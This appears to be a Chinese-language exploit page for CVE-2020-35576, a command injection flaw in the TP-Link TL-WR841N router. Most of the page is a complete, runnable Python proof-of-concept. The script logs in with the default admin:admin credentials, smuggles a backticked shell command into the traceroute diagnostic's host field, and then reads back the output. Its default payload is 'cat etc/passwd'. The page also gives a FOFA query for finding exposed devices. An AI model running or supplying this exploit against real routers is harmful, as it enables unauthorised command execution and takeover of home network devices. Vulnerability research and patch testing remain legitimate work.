# TP-Link TL-WR841N远程代码执行漏洞（CVE-2020-35576）

通过该漏洞，经过身份验证的攻击者可以在TP-Link TL-WR841N系统上执行任意命令。

**影响版本：**

TP-Link TL-WR841N

FOFA：

```
app="TP_LINK-TL-WR841N"
```

**tplink-CVE-2020-35576-PoC.py：**

```py
# Author: Koh You Liang (Isopach)
# Exploit Title: TP-Link TL-WR841N OS Command Injection Exploit
# Date: 2020-12-13
# Vendor Homepage: https://www.tp-link.com/
# Software Link: https://www.tp-link.com/jp/support/download/tl-wr841n/v13/#Firmware
# Version: TL-WR841N 0.9.1 4.0
# Tested on: Windows 10, macOS Mojave, Ubuntu 20.04.1 LTS
# CVE: CVE-2020-35576

import requests
import sys
import time

try:
    _ = sys.argv[2]
    payload = ' '.join(sys.argv[1:])
except IndexError:
    try:
        payload = sys.argv[1]
    except IndexError:
        print("[*] Command not specified, using the default `cat etc/passwd`")
        payload = 'cat etc/passwd'

# Default credentials is admin:admin - replace with your own
cookies = {
    'Authorization': 'Basic YWRtaW46YWRtaW4='
}

headers = {
    'Host': '192.168.0.1',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0',
    'Accept': '*/*',
    'Accept-Language': 'en-US,en;q=0.5',
    'Accept-Encoding': 'gzip, deflate',
    'Content-Type': 'text/plain',
    'Content-Length': '197',
    'Origin': 'http://192.168.0.1',
    'Connection': 'close',
    'Referer': 'http://192.168.0.1/mainFrame.htm',
}

data1 = \
'''[TRACEROUTE_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,8\r\nmaxHopCount=20\r\ntimeout=50\r\nnumberOfTries=1\r\nhost="`{}`"\r\ndataBlockSize=64\r\nX_TP_ConnName=ewan_ipoe_d\r\ndiagnosticsState=Requested\r\nX_TP_HopSeq=0\r\n'''.format(payload)
response1 = requests.post('http://192.168.0.1/cgi?2', headers=headers, cookies=cookies, data=data1, verify=False)
print('[+] Sending payload...')

try:
    response1.text.splitlines()[0]
except IndexError:
    sys.exit('[-] Cannot get response. Please check your cookie.')
    
if response1.text.splitlines()[0] != '[error]0':
    sys.exit('[*] Router/Firmware is not vulnerable.')

data2 = '[ACT_OP_TRACERT#0,0,0,0,0,0#0,0,0,0,0,0]0,0\r\n'
response2 = requests.post('http://192.168.0.1/cgi?7', headers=headers, cookies=cookies, data=data2, verify=False)
print('[+] Receiving response from router...')
time.sleep(0.8) # Buffer time for traceroute to succeed

data3 = '''[TRACEROUTE_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,3\r\ndiagnosticsState\r\nX_TP_HopSeq\r\nX_TP_Result\r\n'''
response3 = requests.post('http://192.168.0.1/cgi?1', headers=headers, cookies=cookies, data=data3, verify=False)


if '=:' in response3.text.splitlines()[3]:
    print('[-] Command not supported.')
else:
    print('[+] Exploit successful!')
    for line_number, line in enumerate(response3.text.splitlines()):        
        try:
            if line_number == 3:
                print(line[12:])
            if line_number > 3 and line != '[error]0':
                print(line)
                if 'not known' in line:
                    break
        except IndexError:
            break
```

ref：

**https://isopach.dev/CVE-2020-35576/
https://vulmon.com/vulnerabilitydetails?qid=CVE-2020-35576**